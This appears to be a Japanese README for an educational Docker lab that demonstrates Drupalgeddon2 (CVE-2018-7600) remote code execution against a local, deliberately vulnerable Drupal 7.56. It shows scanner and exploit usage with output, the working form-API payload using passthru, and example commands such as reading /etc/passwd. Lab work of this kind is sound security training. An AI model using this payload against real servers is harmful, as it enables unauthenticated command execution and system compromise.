CVE-2018-7600(Drupalgeddon2)のリモートコード実行を、Dockerベースの脆弱なDrupal 7.56環境を使用して実演する教育用ラボ。
脆弱なDrupal 7.56環境をDockerでデプロイし、CVE-2018-7600(Drupalgeddon2)の悪用を実演する教育用ラボです。
このプロジェクトは、実際の脆弱性評価ワークフローをシミュレートし、以下を含みます:
CVE-2018-7600(Drupalgeddon2)は、Drupal CMSにおける重大なリモートコード実行(RCE)脆弱性です。
この問題はDrupalのForm APIに存在し、ユーザーが制御する入力がレンダリング配列として解釈される可能性があり、攻撃者は以下のような悪意のあるコールバックを注入できます:
これにより、サーバー上で認証なしのコマンド実行が可能になります。
Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database
cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│ └── docker-compose.yml
│
├── screenshots/
│ ├── drupal-dashboard.png
│ ├── drupal-version.png
│ └── rce-output.png
│
├── logs/
│ ├── scan_results.txt
│ └── exploit_log.txt
│
├── payloads/
│ └── payload-list.txt
│
├── report/
│ └── drupalgeddon2-report.pdf


git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab
docker compose up -d
http://localhost:8080
python3 scan.py http://localhost:8080
出力例:
[~] Scanning http://localhost:8080... VULNERABLE
python3 exploit.py http://localhost:8080 id
出力例:
uid=33(www-data) gid=33(www-data)
使用される基本的なペイロード構造:
name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami
コマンド例:
whoami
id
cat /etc/passwd
完全なペイロードリストは以下にあります:
payloads/payload-list.txt
クリーンでプロフェッショナルなリポジトリ構造を維持するために:
この分離により、以下が保証されます:
このラボは以下を対象としています:
このプロジェクトは教育および研究目的のみです。
明示的な許可なくシステムを悪用しようとしないでください。
著者は誤用について責任を負いません。